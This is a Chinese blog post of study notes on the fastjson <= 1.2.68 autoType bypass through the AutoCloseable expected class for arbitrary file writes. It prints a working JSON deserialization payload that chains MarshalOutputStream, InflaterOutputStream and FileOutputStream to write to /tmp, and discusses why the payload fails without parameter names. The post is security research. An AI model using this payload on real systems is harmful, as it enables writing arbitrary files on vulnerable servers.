Java fastjson <= 1.2.68 期望类AutoCloseable之commons-io 任意文件写入

前言:要学的都放在这列好,等fastjosn的历史线整理完了,再来学习这条链,这篇作为期望类AutoCloseable的利用

参考文章:https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

1、学习commonis-io来实现无系统版本限制来进行任意文件写入

2、解决为什么实战中最初的payload会显示default constructor not found.

3、进一步的了解fastjson的词义解析器

回顾

首先,我们回顾下,基于期望类的AutoCloseable来绕过autoType的机制有什么条件:

1、首先需要一个基于AutoCloseable作为期望类的反序列化器作为开头

2、后续解析的json字段,如果想要进行@type,@type对应的类想要是AutoCloseable的实现类

到这里,我们就分析好了,那么如果想要找到真正能利用的类,那么就需要是AutoCloseable的实现类,那么可以从哪里找?

1、原生类中的类实现了AutoCloseable的类

2、第三方jar包中实现了AutoCloseable的类

引子

payload:

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

实战中我拿过这条payload进行利用,但是返回的都是如下的字符串:

default constructor not found. class sun.rmi.server.MarshalOutputStream

fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可,但是这里就算是带参数的话,最后返回构造参数的类型也是为空

原因如下:

fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可

javap -l <class_name> | grep LocalVariableTable

第三方jar commons-io 2.x包

长亭的一个人就在commons-io依赖包中进行了挖掘,他找到了一个可以不受系统限制的任意写文件的利用链

payload:


posted @ 2021-07-05 20:57  zpchcbd  阅读(532)  评论(0编辑  收藏  举报